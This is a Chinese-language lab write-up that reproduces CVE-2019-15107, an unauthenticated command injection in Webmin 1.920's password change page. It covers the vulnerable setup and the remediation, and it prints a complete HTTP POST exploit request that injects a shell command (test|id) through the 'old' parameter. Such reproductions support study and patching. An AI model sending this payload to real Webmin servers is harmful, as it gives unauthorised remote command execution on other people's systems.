欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

CVE-2019-15107 Webmin远程命令执行漏洞复现

程序员文章站 2022-07-15 14:11:00
...

0X1 漏洞概述

Webmin的是一个用于管理类Unix的系统的管理配置工具,具有网络页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。它已知在端口10000上运行。在重置密码功能中发现了一个错误,该错误允许恶意第三方由于缺少输入验证而执行恶意代码。

影响版本

Webmin  <= 1.920 

0X2 环境搭建

根据最新消息,该应用在官方提供的sourceforge下载的源码才包含这个漏洞,而官方Github上的代码是安全的。这也证明这个RCE漏洞很有可能是一次供应链攻击,黑客控制了官方sourceforge账户并植入了后门。在sourceforge上下载,链接如下

https://sourceforge.net/projects/webadmin/files/webmin/1.920/

在这里,我们下载deb安装包,在ubuntu16.04中安装,如下:

CVE-2019-15107 Webmin远程命令执行漏洞复现

如果报错,按照提示更新系统就可以了。安装成功之后,以root账户身份登录即可。

https://192.167.0.217:10000/sysinfo.cgi?xnavigation=1

CVE-2019-15107 Webmin远程命令执行漏洞复现

登录之后点击authentication修改密码重置配置

CVE-2019-15107 Webmin远程命令执行漏洞复现

查看配置文件

cat /etc/webmin/miniserv.conf

CVE-2019-15107 Webmin远程命令执行漏洞复现

0X3 漏洞利用

访问/password_change.cgi链接,抓包注入命令

POST  /password_change.cgi HTTP/1.1
Host: 192.167.0.217:10000
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: redirect=1; testing=1; sid=2c97114272115f9e3e52307ff418b31d; sessiontest=1
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 60

user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2

这里的user值要是用的是一个假的用户,使用真实的root测试不成功,只有在发送的用户参数的值不是已知的Linux用户的情况下(而参考链接中是user=root123),展示进入才会到修改/etc/shadow的地方,触发命令注入漏洞

CVE-2019-15107 Webmin远程命令执行漏洞复现

查看response

CVE-2019-15107 Webmin远程命令执行漏洞复现

可以看到命令执行成功!

0X3 漏洞修复

升级到最新的1.9.30版本即可

参考链接

http://www.webmin.com/index.html

https://www.exploit-db.com/exploits/47230

https://blog.firosolutions.com/exploits/webmin/

https://github.com/vulhub/vulhub/blob/master/webmin/CVE-2019-15107/README.zh-cn.md

相关标签: 渗透常识研究